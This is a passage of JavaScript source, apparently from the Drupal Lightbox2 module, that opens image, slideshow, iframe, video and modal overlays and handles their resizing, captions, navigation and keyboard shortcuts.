    $('#lightshowPause').click(function() { Lightbox.togglePlayPause("lightshowPause", "lightshowPlay"); return false; } );
    $('#lightshowPlay').click(function() { Lightbox.togglePlayPause("lightshowPlay", "lightshowPause"); return false; } );

    // Fix positioning.
    $('#prevLink, #nextLink, #framePrevLink, #frameNextLink').css({ 'paddingTop': Lightbox.borderSize + 'px'});
    $('#imageContainer, #frameContainer, #modalContainer').css({ 'padding': Lightbox.borderSize + 'px'});
    $('#outerImageContainer, #imageDataContainer, #bottomNavClose').css({'backgroundColor': '#' + Lightbox.boxColor, 'color': '#'+Lightbox.fontColor});
    if (Lightbox.alternative_layout) {
      $('#bottomNavZoom, #bottomNavZoomOut').css({'bottom': Lightbox.borderSize + 'px', 'right': Lightbox.borderSize + 'px'});
    }
    else if (Lightbox.rtl == 1 && $.browser.msie) {
      $('#bottomNavZoom, #bottomNavZoomOut').css({'left': '0px'});
    }

    // Force navigation links to always be displayed
    if (s.force_show_nav) {
      $('#prevLink, #nextLink').addClass("force_show_nav");
    }

  },

  // initList()
  // Loops through anchor tags looking for 'lightbox', 'lightshow' and
  // 'lightframe', etc, references and applies onclick events to appropriate
  // links. You can rerun after dynamically adding images w/ajax.
  initList : function(context) {

    if (context == undefined || context == null) {
      context = document;
    }

    // Attach lightbox to any links with rel 'lightbox', 'lightshow' or
    // 'lightframe', etc.
    $("a[rel^='lightbox']:not(.lightbox-processed), area[rel^='lightbox']:not(.lightbox-processed)", context).addClass('lightbox-processed').click(function(e) {
      if (Lightbox.disableCloseClick) {
        $('#lightbox').unbind('click');
        $('#lightbox').click(function() { Lightbox.end('forceClose'); } );
      }
      Lightbox.start(this, false, false, false, false);
      if (e.preventDefault) { e.preventDefault(); }
      return false;
    });
    $("a[rel^='lightshow']:not(.lightbox-processed), area[rel^='lightshow']:not(.lightbox-processed)", context).addClass('lightbox-processed').click(function(e) {
      if (Lightbox.disableCloseClick) {
        $('#lightbox').unbind('click');
        $('#lightbox').click(function() { Lightbox.end('forceClose'); } );
      }
      Lightbox.start(this, true, false, false, false);
      if (e.preventDefault) { e.preventDefault(); }
      return false;
    });
    $("a[rel^='lightframe']:not(.lightbox-processed), area[rel^='lightframe']:not(.lightbox-processed)", context).addClass('lightbox-processed').click(function(e) {
      if (Lightbox.disableCloseClick) {
        $('#lightbox').unbind('click');
        $('#lightbox').click(function() { Lightbox.end('forceClose'); } );
      }
      Lightbox.start(this, false, true, false, false);
      if (e.preventDefault) { e.preventDefault(); }
      return false;
    });
    if (Lightbox.enableVideo) {
      $("a[rel^='lightvideo']:not(.lightbox-processed), area[rel^='lightvideo']:not(.lightbox-processed)", context).addClass('lightbox-processed').click(function(e) {
        if (Lightbox.disableCloseClick) {
          $('#lightbox').unbind('click');
          $('#lightbox').click(function() { Lightbox.end('forceClose'); } );
        }
        Lightbox.start(this, false, false, true, false);
        if (e.preventDefault) { e.preventDefault(); }
        return false;
      });
    }
    $("a[rel^='lightmodal']:not(.lightbox-processed), area[rel^='lightmodal']:not(.lightbox-processed)", context).addClass('lightbox-processed').click(function(e) {
      $('#lightbox').unbind('click');
      // Add classes from the link to the lightbox div - don't include lightbox-processed
      $('#lightbox').addClass($(this).attr('class'));
      $('#lightbox').removeClass('lightbox-processed');
      Lightbox.start(this, false, false, false, true);
      if (e.preventDefault) { e.preventDefault(); }
      return false;
    });
    $("#lightboxAutoModal:not(.lightbox-processed)", context).addClass('lightbox-processed').click(function(e) {
      Lightbox.auto_modal = true;
      $('#lightbox').unbind('click');
      Lightbox.start(this, false, false, false, true);
      if (e.preventDefault) { e.preventDefault(); }
      return false;
    });
  },

  // start()
  // Display overlay and lightbox. If image is part of a set, add siblings to
  // imageArray.
  start: function(imageLink, slideshow, lightframe, lightvideo, lightmodal) {

    Lightbox.isPaused = !Lightbox.autoStart;

    // Replaces hideSelectBoxes() and hideFlash() calls in original lightbox2.
    Lightbox.toggleSelectsFlash('hide');

    // Stretch overlay to fill page and fade in.
    var arrayPageSize = Lightbox.getPageSize();
    $("#lightbox2-overlay").hide().css({
      'width': '100%',
      'zIndex': '10090',
      'height': arrayPageSize[1] + 'px',
      'backgroundColor' : '#' + Lightbox.overlayColor
    });
    // Detect OS X FF2 opacity + flash issue.
    if (lightvideo && this.detectMacFF2()) {
      $("#lightbox2-overlay").removeClass("overlay_default");
      $("#lightbox2-overlay").addClass("overlay_macff2");
      $("#lightbox2-overlay").css({'opacity' : null});
    }
    else {
      $("#lightbox2-overlay").removeClass("overlay_macff2");
      $("#lightbox2-overlay").addClass("overlay_default");
      $("#lightbox2-overlay").css({'opacity' : Lightbox.overlayOpacity});
    }
    $("#lightbox2-overlay").fadeIn(Lightbox.fadeInSpeed);


    Lightbox.isSlideshow = slideshow;
    Lightbox.isLightframe = lightframe;
    Lightbox.isVideo = lightvideo;
    Lightbox.isModal = lightmodal;
    Lightbox.imageArray = [];
    Lightbox.imageNum = 0;

    var anchors = $(imageLink.tagName);
    var anchor = null;
    var rel_parts = Lightbox.parseRel(imageLink);
    var rel = rel_parts["rel"];
    var rel_group = rel_parts["group"];
    var title = (rel_parts["title"] ? rel_parts["title"] : imageLink.title);
    var rel_style = null;
    var i = 0;

    if (rel_parts["flashvars"]) {
      Lightbox.flvFlashvars = Lightbox.flvFlashvars + '&' + rel_parts["flashvars"];
    }

    // Set the title for image alternative text.
    var alt = imageLink.title;
    if (!alt) {
      var img = $(imageLink).find("img");
      if (img && $(img).attr("alt")) {
        alt = $(img).attr("alt");
      }
      else {
        alt = title;
      }
    }

    if ($(imageLink).attr('id') == 'lightboxAutoModal') {
      rel_style = rel_parts["style"];
      Lightbox.imageArray.push(['#lightboxAutoModal > *', title, alt, rel_style, 1]);
    }
    else {
      // Handle lightbox images with no grouping.
      if ((rel == 'lightbox' || rel == 'lightshow') && !rel_group) {
        Lightbox.imageArray.push([imageLink.href, title, alt]);
      }

      // Handle other items with no grouping.
      else if (!rel_group) {
        rel_style = rel_parts["style"];
        Lightbox.imageArray.push([imageLink.href, title, alt, rel_style]);
      }

      // Handle grouped items.
      else {

        // Loop through anchors and add them to imageArray.
        for (i = 0; i < anchors.length; i++) {
          anchor = anchors[i];
          if (anchor.href && typeof(anchor.href) == "string" && $(anchor).attr('rel')) {
            var rel_data = Lightbox.parseRel(anchor);
            var anchor_title = (rel_data["title"] ? rel_data["title"] : anchor.title);
            img_alt = anchor.title;
            if (!img_alt) {
              var anchor_img = $(anchor).find("img");
              if (anchor_img && $(anchor_img).attr("alt")) {
                img_alt = $(anchor_img).attr("alt");
              }
              else {
                img_alt = title;
              }
            }
            if (rel_data["rel"] == rel) {
              if (rel_data["group"] == rel_group) {
                if (Lightbox.isLightframe || Lightbox.isModal || Lightbox.isVideo) {
                  rel_style = rel_data["style"];
                }
                Lightbox.imageArray.push([anchor.href, anchor_title, img_alt, rel_style]);
              }
            }
          }
        }

        // Remove duplicates.
        for (i = 0; i < Lightbox.imageArray.length; i++) {
          for (j = Lightbox.imageArray.length-1; j > i; j--) {
            if (Lightbox.imageArray[i][0] == Lightbox.imageArray[j][0]) {
              Lightbox.imageArray.splice(j,1);
            }
          }
        }
        while (Lightbox.imageArray[Lightbox.imageNum][0] != imageLink.href) {
          Lightbox.imageNum++;
        }
      }
    }

    if (Lightbox.isSlideshow && Lightbox.showPlayPause && Lightbox.isPaused) {
      $('#lightshowPlay').show();
      $('#lightshowPause').hide();
    }

    // Calculate top and left offset for the lightbox.
    var arrayPageScroll = Lightbox.getPageScroll();
    var lightboxTop = arrayPageScroll[1] + (Lightbox.topPosition == '' ? (arrayPageSize[3] / 10) : Lightbox.topPosition) * 1;
    var lightboxLeft = arrayPageScroll[0];
    $('#frameContainer, #modalContainer, #lightboxImage').hide();
    $('#hoverNav, #prevLink, #nextLink, #frameHoverNav, #framePrevLink, #frameNextLink').hide();
    $('#imageDataContainer, #numberDisplay, #bottomNavZoom, #bottomNavZoomOut').hide();
    $('#outerImageContainer').css({'width': '250px', 'height': '250px'});
    $('#lightbox').css({
      'zIndex': '10500',
      'top': lightboxTop + 'px',
      'left': lightboxLeft + 'px'
    }).show();

    Lightbox.total = Lightbox.imageArray.length;
    Lightbox.changeData(Lightbox.imageNum);
  },

  // changeData()
  // Hide most elements and preload image in preparation for resizing image
  // container.
  changeData: function(imageNum, zoomIn) {

    if (Lightbox.inprogress === false) {
      if (Lightbox.total > 1 && ((Lightbox.isSlideshow && Lightbox.loopSlides) || (!Lightbox.isSlideshow && Lightbox.loopItems))) {
        if (imageNum >= Lightbox.total) imageNum = 0;
        if (imageNum < 0) imageNum = Lightbox.total - 1;
      }

      if (Lightbox.isSlideshow) {
        for (var i = 0; i < Lightbox.slideIdCount; i++) {
          window.clearTimeout(Lightbox.slideIdArray[i]);
        }
      }
      Lightbox.inprogress = true;
      Lightbox.activeImage = imageNum;

      if (Lightbox.disableResize && !Lightbox.isSlideshow) {
        zoomIn = true;
      }
      Lightbox.isZoomedIn = zoomIn;


      // Hide elements during transition.
      $('#loading').css({'zIndex': '10500'}).show();
      if (!Lightbox.alternative_layout) {
        $('#imageContainer').hide();
      }
      $('#frameContainer, #modalContainer, #lightboxImage').hide();
      $('#hoverNav, #prevLink, #nextLink, #frameHoverNav, #framePrevLink, #frameNextLink').hide();
      $('#imageDataContainer, #numberDisplay, #bottomNavZoom, #bottomNavZoomOut').hide();

      // Preload image content, but not iframe pages.
      if (!Lightbox.isLightframe && !Lightbox.isVideo && !Lightbox.isModal) {
        $("#lightbox #imageDataContainer").removeClass('lightbox2-alt-layout-data');
        imgPreloader = new Image();
        imgPreloader.onerror = function() { Lightbox.imgNodeLoadingError(this); };

        imgPreloader.onload = function() {
          var photo = document.getElementById('lightboxImage');
          photo.src = Lightbox.imageArray[Lightbox.activeImage][0];
          photo.alt = Lightbox.imageArray[Lightbox.activeImage][2];

          var imageWidth = imgPreloader.width;
          var imageHeight = imgPreloader.height;

          // Resize code.
          var arrayPageSize = Lightbox.getPageSize();
          var targ = { w:arrayPageSize[2] - (Lightbox.borderSize * 2), h:arrayPageSize[3] - (Lightbox.borderSize * 6) - (Lightbox.infoHeight * 4) - (arrayPageSize[3] / 10) };
          var orig = { w:imgPreloader.width, h:imgPreloader.height };

          // Image is very large, so show a smaller version of the larger image
          // with zoom button.
          if (zoomIn !== true) {
            var ratio = 1.0; // Shrink image with the same aspect.
            $('#bottomNavZoomOut, #bottomNavZoom').hide();
            if ((orig.w >= targ.w || orig.h >= targ.h) && orig.h && orig.w) {
              ratio = ((targ.w / orig.w) < (targ.h / orig.h)) ? targ.w / orig.w : targ.h / orig.h;
              if (!Lightbox.disableZoom && !Lightbox.isSlideshow) {
                $('#bottomNavZoom').css({'zIndex': '10500'}).show();
              }
            }

            imageWidth  = Math.floor(orig.w * ratio);
            imageHeight = Math.floor(orig.h * ratio);
          }

          else {
            $('#bottomNavZoom').hide();
            // Only display zoom out button if the image is zoomed in already.
            if ((orig.w >= targ.w || orig.h >= targ.h) && orig.h && orig.w) {
              // Only display zoom out button if not a slideshow and if the
              // buttons aren't disabled.
              if (!Lightbox.disableResize && Lightbox.isSlideshow === false && !Lightbox.disableZoom) {
                $('#bottomNavZoomOut').css({'zIndex': '10500'}).show();
              }
            }
          }

          photo.style.width = (imageWidth) + 'px';
          photo.style.height = (imageHeight) + 'px';
          Lightbox.resizeContainer(imageWidth, imageHeight);

          // Clear onLoad, IE behaves irratically with animated gifs otherwise.
          imgPreloader.onload = function() {};
        };

        imgPreloader.src = Lightbox.imageArray[Lightbox.activeImage][0];
        imgPreloader.alt = Lightbox.imageArray[Lightbox.activeImage][2];
      }

      // Set up frame size, etc.
      else if (Lightbox.isLightframe) {
        $("#lightbox #imageDataContainer").addClass('lightbox2-alt-layout-data');
        var src = Lightbox.imageArray[Lightbox.activeImage][0];
        $('#frameContainer').html('<iframe id="lightboxFrame" style="display: none;" src="'+src+'"></iframe>');

        // Enable swf support in Gecko browsers.
        if ($.browser.mozilla && src.indexOf('.swf') != -1) {
          setTimeout(function () {
            document.getElementById("lightboxFrame").src = Lightbox.imageArray[Lightbox.activeImage][0];
          }, 1000);
        }

        if (!Lightbox.iframe_border) {
          $('#lightboxFrame').css({'border': 'none'});
          $('#lightboxFrame').attr('frameborder', '0');
        }
        var iframe = document.getElementById('lightboxFrame');
        var iframeStyles = Lightbox.imageArray[Lightbox.activeImage][3];
        iframe = Lightbox.setStyles(iframe, iframeStyles);
        Lightbox.resizeContainer(parseInt(iframe.width, 10), parseInt(iframe.height, 10));
      }
      else if (Lightbox.isVideo || Lightbox.isModal) {
        $("#lightbox #imageDataContainer").addClass('lightbox2-alt-layout-data');
        var container = document.getElementById('modalContainer');
        var modalStyles = Lightbox.imageArray[Lightbox.activeImage][3];
        container = Lightbox.setStyles(container, modalStyles);
        if (Lightbox.isVideo) {
          Lightbox.modalHeight =  parseInt(container.height, 10) - 10;
          Lightbox.modalWidth =  parseInt(container.width, 10) - 10;
          Lightvideo.startVideo(Lightbox.imageArray[Lightbox.activeImage][0]);
        }
        Lightbox.resizeContainer(parseInt(container.width, 10), parseInt(container.height, 10));
      }
    }
  },

  // imgNodeLoadingError()
  imgNodeLoadingError: function(image) {
    var s = Drupal.settings.lightbox2;
    var original_image = Lightbox.imageArray[Lightbox.activeImage][0];
    if (s.display_image_size !== "") {
      original_image = original_image.replace(new RegExp("."+s.display_image_size), "");
    }
    Lightbox.imageArray[Lightbox.activeImage][0] = original_image;
    image.onerror = function() { Lightbox.imgLoadingError(image); };
    image.src = original_image;
  },

  // imgLoadingError()
  imgLoadingError: function(image) {
    var s = Drupal.settings.lightbox2;
    Lightbox.imageArray[Lightbox.activeImage][0] = s.default_image;
    image.src = s.default_image;
  },

  // resizeContainer()
  resizeContainer: function(imgWidth, imgHeight) {

    imgWidth = (imgWidth < Lightbox.minWidth ? Lightbox.minWidth : imgWidth);

    this.widthCurrent = $('#outerImageContainer').width();
    this.heightCurrent = $('#outerImageContainer').height();

    var widthNew = (imgWidth  + (Lightbox.borderSize * 2));
    var heightNew = (imgHeight  + (Lightbox.borderSize * 2));

    // Scalars based on change from old to new.
    this.xScale = ( widthNew / this.widthCurrent) * 100;
    this.yScale = ( heightNew / this.heightCurrent) * 100;

    // Calculate size difference between new and old image, and resize if
    // necessary.
    wDiff = this.widthCurrent - widthNew;
    hDiff = this.heightCurrent - heightNew;

    $('#modalContainer').css({'width': imgWidth, 'height': imgHeight});
    // Detect animation sequence.
    if (Lightbox.resizeSequence) {
      var animate1 = {width: widthNew};
      var animate2 = {height: heightNew};
      if (Lightbox.resizeSequence == 2) {
        animate1 = {height: heightNew};
        animate2 = {width: widthNew};
      }
      $('#outerImageContainer').animate(animate1, Lightbox.resizeSpeed).animate(animate2, Lightbox.resizeSpeed, 'linear', function() { Lightbox.showData(); });
    }
    // Simultaneous.
    else {
      $('#outerImageContainer').animate({'width': widthNew, 'height': heightNew}, Lightbox.resizeSpeed, 'linear', function() { Lightbox.showData(); });
    }

    // If new and old image are same size and no scaling transition is necessary
    // do a quick pause to prevent image flicker.
    if ((hDiff === 0) && (wDiff === 0)) {
      if ($.browser.msie) {
        Lightbox.pause(250);
      }
      else {
        Lightbox.pause(100);
      }
    }

    var s = Drupal.settings.lightbox2;
    if (!s.use_alt_layout) {
      $('#prevLink, #nextLink').css({'height': imgHeight + 'px'});
    }
    $('#imageDataContainer').css({'width': widthNew + 'px'});
  },

  // showData()
  // Display image and begin preloading neighbors.
  showData: function() {
    $('#loading').hide();

    if (Lightbox.isLightframe || Lightbox.isVideo || Lightbox.isModal) {
      Lightbox.updateDetails();
      if (Lightbox.isLightframe) {
        $('#frameContainer').show();
        if ($.browser.safari || Lightbox.fadeInSpeed === 0) {
          $('#lightboxFrame').css({'zIndex': '10500'}).show();
        }
        else {
          $('#lightboxFrame').css({'zIndex': '10500'}).fadeIn(Lightbox.fadeInSpeed);
        }
      }
      else {
        if (Lightbox.isVideo) {
          $("#modalContainer").html(Lightbox.modalHTML).click(function(){return false;}).css('zIndex', '10500').show();
        }
        else {
          var src = unescape(Lightbox.imageArray[Lightbox.activeImage][0]);
          if (Lightbox.imageArray[Lightbox.activeImage][4]) {
            $(src).appendTo("#modalContainer");
            $('#modalContainer').css({'zIndex': '10500'}).show();
          }
          else {
            // Use a callback to show the new image, otherwise you get flicker.
            $("#modalContainer").hide().load(src, function () {$('#modalContainer').css({'zIndex': '10500'}).show();});
          }
          $('#modalContainer').unbind('click');
        }
        // This might be needed in the Lightframe section above.
        //$('#modalContainer').css({'zIndex': '10500'}).show();
      }
    }

    // Handle display of image content.
    else {
      $('#imageContainer').show();
      if ($.browser.safari || Lightbox.fadeInSpeed === 0) {
        $('#lightboxImage').css({'zIndex': '10500'}).show();
      }
      else {
        $('#lightboxImage').css({'zIndex': '10500'}).fadeIn(Lightbox.fadeInSpeed);
      }
      Lightbox.updateDetails();
      this.preloadNeighborImages();
    }
    Lightbox.inprogress = false;

    // Slideshow specific stuff.
    if (Lightbox.isSlideshow) {
      if (!Lightbox.loopSlides && Lightbox.activeImage == (Lightbox.total - 1)) {
        if (Lightbox.autoExit) {
          Lightbox.slideIdArray[Lightbox.slideIdCount++] = setTimeout(function () {Lightbox.end('slideshow');}, Lightbox.slideInterval);
        }
      }
      else {
        if (!Lightbox.isPaused && Lightbox.total > 1) {
          Lightbox.slideIdArray[Lightbox.slideIdCount++] = setTimeout(function () {Lightbox.changeData(Lightbox.activeImage + 1);}, Lightbox.slideInterval);
        }
      }
      if (Lightbox.showPlayPause && Lightbox.total > 1 && !Lightbox.isPaused) {
        $('#lightshowPause').show();
        $('#lightshowPlay').hide();
      }
      else if (Lightbox.showPlayPause && Lightbox.total > 1) {
        $('#lightshowPause').hide();
        $('#lightshowPlay').show();
      }
    }

    // Adjust the page overlay size.
    var arrayPageSize = Lightbox.getPageSize();
    var arrayPageScroll = Lightbox.getPageScroll();
    var pageHeight = arrayPageSize[1];
    if (Lightbox.isZoomedIn && arrayPageSize[1] > arrayPageSize[3]) {
      var lightboxTop = (Lightbox.topPosition == '' ? (arrayPageSize[3] / 10) : Lightbox.topPosition) * 1;
      pageHeight = pageHeight + arrayPageScroll[1] + lightboxTop;
    }
    $('#lightbox2-overlay').css({'height': pageHeight + 'px', 'width': arrayPageSize[0] + 'px'});

    // Gecko browsers (e.g. Firefox, SeaMonkey, etc) don't handle pdfs as
    // expected.
    if ($.browser.mozilla) {
      if (Lightbox.imageArray[Lightbox.activeImage][0].indexOf(".pdf") != -1) {
        setTimeout(function () {
          document.getElementById("lightboxFrame").src = Lightbox.imageArray[Lightbox.activeImage][0];
        }, 1000);
      }
    }
  },

  // updateDetails()
  // Display caption, image number, and bottom nav.
  updateDetails: function() {

    $("#imageDataContainer").hide();

    var s = Drupal.settings.lightbox2;

    if (s.show_caption) {
      var caption = Lightbox.filterXSS(Lightbox.imageArray[Lightbox.activeImage][1]);
      if (!caption) caption = '';
      $('#caption').html(caption).css({'zIndex': '10500'}).show();
    }

    // If image is part of set display 'Image x of x'.
    var numberDisplay = null;
    if (s.image_count && Lightbox.total > 1) {
      var currentImage = Lightbox.activeImage + 1;
      if (!Lightbox.isLightframe && !Lightbox.isModal && !Lightbox.isVideo) {
        numberDisplay = s.image_count.replace(/\!current/, currentImage).replace(/\!total/, Lightbox.total);
      }
      else if (Lightbox.isVideo) {
        numberDisplay = s.video_count.replace(/\!current/, currentImage).replace(/\!total/, Lightbox.total);
      }
      else {
        numberDisplay = s.page_count.replace(/\!current/, currentImage).replace(/\!total/, Lightbox.total);
      }
      $('#numberDisplay').html(numberDisplay).css({'zIndex': '10500'}).show();
    }
    else {
      $('#numberDisplay').hide();
    }

    $("#imageDataContainer").hide().slideDown(Lightbox.slideDownSpeed, function() {
      $("#bottomNav").show();
    });
    if (Lightbox.rtl == 1) {
      $("#bottomNav").css({'float': 'left'});
    }
    Lightbox.updateNav();
  },

  // updateNav()
  // Display appropriate previous and next hover navigation.
  updateNav: function() {

    $('#hoverNav').css({'zIndex': '10500'}).show();
    var prevLink = '#prevLink';
    var nextLink = '#nextLink';

    // Slideshow is separated as we need to show play / pause button.
    if (Lightbox.isSlideshow) {
      if ((Lightbox.total > 1 && Lightbox.loopSlides) || Lightbox.activeImage !== 0) {
        $(prevLink).css({'zIndex': '10500'}).show().click(function() {
          if (Lightbox.pauseOnPrevClick) {
            Lightbox.togglePlayPause("lightshowPause", "lightshowPlay");
          }
          Lightbox.changeData(Lightbox.activeImage - 1); return false;
        });
      }
      else {
        $(prevLink).hide();
      }

      // If not last image in set, display next image button.
      if ((Lightbox.total > 1 && Lightbox.loopSlides) || Lightbox.activeImage != (Lightbox.total - 1)) {
        $(nextLink).css({'zIndex': '10500'}).show().click(function() {
          if (Lightbox.pauseOnNextClick) {
            Lightbox.togglePlayPause("lightshowPause", "lightshowPlay");
          }
          Lightbox.changeData(Lightbox.activeImage + 1); return false;
        });
      }
      // Safari browsers need to have hide() called again.
      else {
        $(nextLink).hide();
      }
    }

    // All other types of content.
    else {

      if ((Lightbox.isLightframe || Lightbox.isModal || Lightbox.isVideo) && !Lightbox.alternative_layout) {
        $('#frameHoverNav').css({'zIndex': '10500'}).show();
        $('#hoverNav').css({'zIndex': '10500'}).hide();
        prevLink = '#framePrevLink';
        nextLink = '#frameNextLink';
      }

      // If not first image in set, display prev image button.
      if ((Lightbox.total > 1 && Lightbox.loopItems) || Lightbox.activeImage !== 0) {
        // Unbind any other click handlers, otherwise this adds a new click handler
        // each time the arrow is clicked.
        $(prevLink).css({'zIndex': '10500'}).show().unbind().click(function() {
          Lightbox.changeData(Lightbox.activeImage - 1); return false;
        });
      }
      // Safari browsers need to have hide() called again.
      else {
        $(prevLink).hide();
      }

      // If not last image in set, display next image button.
      if ((Lightbox.total > 1 && Lightbox.loopItems) || Lightbox.activeImage != (Lightbox.total - 1)) {
        // Unbind any other click handlers, otherwise this adds a new click handler
        // each time the arrow is clicked.
        $(nextLink).css({'zIndex': '10500'}).show().unbind().click(function() {
          Lightbox.changeData(Lightbox.activeImage + 1); return false;
        });
      }
      // Safari browsers need to have hide() called again.
      else {
        $(nextLink).hide();
      }
    }

    // Don't enable keyboard shortcuts so forms will work.
    if (!Lightbox.isModal) {
      this.enableKeyboardNav();
    }
  },


  // enableKeyboardNav()
  enableKeyboardNav: function() {
    $(document).bind("keydown", this.keyboardAction);
  },

  // disableKeyboardNav()
  disableKeyboardNav: function() {
    $(document).unbind("keydown", this.keyboardAction);
  },

  // keyboardAction()
  keyboardAction: function(e) {
    if (e === null) { // IE.
      keycode = event.keyCode;
      escapeKey = 27;
    }
    else { // Mozilla.
      keycode = e.keyCode;
      escapeKey = e.DOM_VK_ESCAPE;
    }

    key = String.fromCharCode(keycode).toLowerCase();

    // Close lightbox.
    if (Lightbox.checkKey(Lightbox.keysClose, key, keycode)) {
      Lightbox.end('forceClose');
    }
    // Display previous image (p, <-).
    else if (Lightbox.checkKey(Lightbox.keysPrevious, key, keycode)) {
      if ((Lightbox.total > 1 && ((Lightbox.isSlideshow && Lightbox.loopSlides) || (!Lightbox.isSlideshow && Lightbox.loopItems))) || Lightbox.activeImage !== 0) {
        Lightbox.changeData(Lightbox.activeImage - 1);
      }

    }
    // Display next image (n, ->).
    else if (Lightbox.checkKey(Lightbox.keysNext, key, keycode)) {
      if ((Lightbox.total > 1 && ((Lightbox.isSlideshow && Lightbox.loopSlides) || (!Lightbox.isSlideshow && Lightbox.loopItems))) || Lightbox.activeImage != (Lightbox.total - 1)) {
        Lightbox.changeData(Lightbox.activeImage + 1);
      }
    }
    // Zoom in.
    else if (Lightbox.checkKey(Lightbox.keysZoom, key, keycode) && !Lightbox.disableResize && !Lightbox.disableZoom && !Lightbox.isSlideshow && !Lightbox.isLightframe) {
      if (Lightbox.isZoomedIn) {
        Lightbox.changeData(Lightbox.activeImage, false);
      }
      else if (!Lightbox.isZoomedIn) {
        Lightbox.changeData(Lightbox.activeImage, true);
      }
      return false;
    }
    // Toggle play / pause (space).
    else if (Lightbox.checkKey(Lightbox.keysPlayPause, key, keycode) && Lightbox.isSlideshow) {

      if (Lightbox.isPaused) {
        Lightbox.togglePlayPause("lightshowPlay", "lightshowPause");
      }
      else {
        Lightbox.togglePlayPause("lightshowPause", "lightshowPlay");
      }
      return false;
    }
  },

  preloadNeighborImages: function() {

    if ((Lightbox.total - 1) > Lightbox.activeImage) {
      preloadNextImage = new Image();
      preloadNextImage.src = Lightbox.imageArray[Lightbox.activeImage + 1][0];
    }
    if (Lightbox.activeImage > 0) {
      preloadPrevImage = new Image();
      preloadPrevImage.src = Lightbox.imageArray[Lightbox.activeImage - 1][0];
    }

  },

  end: function(caller) {
    var closeClick = (caller == 'slideshow' ? false : true);
    if (Lightbox.isSlideshow && Lightbox.isPaused && !closeClick) {
      return;
    }
    // To prevent double clicks on navigation links.
    if (Lightbox.inprogress === true && caller != 'forceClose') {
      return;
    }
    Lightbox.disableKeyboardNav();
    $('#lightbox').hide();
    $("#lightbox2-overlay").fadeOut();
    Lightbox.isPaused = true;
    Lightbox.inprogress = false;
    // Replaces calls to showSelectBoxes() and showFlash() in original
    // lightbox2.
    Lightbox.toggleSelectsFlash('visible');
    if (Lightbox.isSlideshow) {
      for (var i = 0; i < Lightbox.slideIdCount; i++) {
        window.clearTimeout(Lightbox.slideIdArray[i]);
      }
      $('#lightshowPause, #lightshowPlay').hide();
    }
    else if (Lightbox.isLightframe) {
      $('#frameContainer').empty().hide();
    }
    else if (Lightbox.isVideo || Lightbox.isModal) {
      if (!Lightbox.auto_modal) {
        $('#modalContainer').hide().html("");
      }
      Lightbox.auto_modal = false;
    }
  },


  // getPageScroll()
  // Returns array with x,y page scroll values.
  // Core code from - quirksmode.com.
  getPageScroll : function() {

    var xScroll, yScroll;

    if (self.pageYOffset || self.pageXOffset) {
      yScroll = self.pageYOffset;
      xScroll = self.pageXOffset;
    }
    else if (document.documentElement && (document.documentElement.scrollTop || document.documentElement.scrollLeft)) {  // Explorer 6 Strict.
      yScroll = document.documentElement.scrollTop;
      xScroll = document.documentElement.scrollLeft;
    }
    else if (document.body) {// All other Explorers.
      yScroll = document.body.scrollTop;
      xScroll = document.body.scrollLeft;
    }

    arrayPageScroll = [xScroll,yScroll];
    return arrayPageScroll;
  },

  // getPageSize()
  // Returns array with page width, height and window width, height.
  // Core code from - quirksmode.com.
  // Edit for Firefox by pHaez.

  getPageSize : function() {

    var xScroll, yScroll;

    if (window.innerHeight && window.scrollMaxY) {
      xScroll = window.innerWidth + window.scrollMaxX;
      yScroll = window.innerHeight + window.scrollMaxY;
    }
    else if (document.body.scrollHeight > document.body.offsetHeight) { // All but Explorer Mac.
      xScroll = document.body.scrollWidth;
      yScroll = document.body.scrollHeight;
    }
    else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari.
      xScroll = document.body.offsetWidth;
      yScroll = document.body.offsetHeight;
    }

    var windowWidth, windowHeight;

    if (self.innerHeight) { // All except Explorer.
      if (document.documentElement.clientWidth) {
        windowWidth = document.documentElement.clientWidth;
      }
      else {
        windowWidth = self.innerWidth;
      }
      windowHeight = self.innerHeight;
    }
    else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode.
      windowWidth = document.documentElement.clientWidth;
      windowHeight = document.documentElement.clientHeight;
    }
    else if (document.body) { // Other Explorers.
      windowWidth = document.body.clientWidth;
      windowHeight = document.body.clientHeight;
    }
    // For small pages with total height less than height of the viewport.
    if (yScroll < windowHeight) {
      pageHeight = windowHeight;
    }
    else {
      pageHeight = yScroll;
    }
    // For small pages with total width less than width of the viewport.
    if (xScroll < windowWidth) {
      pageWidth = xScroll;
    }
    else {
      pageWidth = windowWidth;
    }
    arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight);
    return arrayPageSize;
  },


  // pause(numberMillis)
  pause : function(ms) {
    var date = new Date();
    var curDate = null;
    do { curDate = new Date(); }
    while (curDate - date < ms);
  },


  // toggleSelectsFlash()
  // Hide / unhide select lists and flash objects as they appear above the
  // lightbox in some browsers.
  toggleSelectsFlash: function (state) {
    if (state == 'visible') {
      $("select.lightbox_hidden, embed.lightbox_hidden, object.lightbox_hidden").show();
    }
    else if (state == 'hide') {
      $("select:visible, embed:visible, object:visible").not('#lightboxAutoModal select, #lightboxAutoModal embed, #lightboxAutoModal object').addClass("lightbox_hidden");
      $("select.lightbox_hidden, embed.lightbox_hidden, object.lightbox_hidden").hide();
    }
  },


  // parseRel()
  parseRel: function (link) {
    var parts = [];
    parts["rel"] = parts["title"] = parts["group"] = parts["style"] = parts["flashvars"] = null;
    if (!$(link).attr('rel')) return parts;
    parts["rel"] = $(link).attr('rel').match(/\w+/)[0];

    if ($(link).attr('rel').match(/\[(.*)\]/)) {
      var info = $(link).attr('rel').match(/\[(.*?)\]/)[1].split('|');
      parts["group"] = info[0];
      parts["style"] = info[1];
      if (parts["style"] != undefined && parts["style"].match(/flashvars:\s?(.*?);/)) {
        parts["flashvars"] = parts["style"].match(/flashvars:\s?(.*?);/)[1];
      }
    }
    if ($(link).attr('rel').match(/\[.*\]\[(.*)\]/)) {
      parts["title"] = $(link).attr('rel').match(/\[.*\]\[(.*)\]/)[1];
    }
    return parts;
  },

  // setStyles()
  setStyles: function(item, styles) {
    item.width = Lightbox.iframe_width;
    item.height = Lightbox.iframe_height;
    item.scrolling = "auto";

    if (!styles) return item;
    var stylesArray = styles.split(';');
    for (var i = 0; i< stylesArray.length; i++) {
      if (stylesArray[i].indexOf('width:') >= 0) {
        var w = stylesArray[i].replace('width:', '');
        item.width = jQuery.trim(w);
      }
      else if (stylesArray[i].indexOf('height:') >= 0) {
        var h = stylesArray[i].replace('height:', '');
        item.height = jQuery.trim(h);
      }
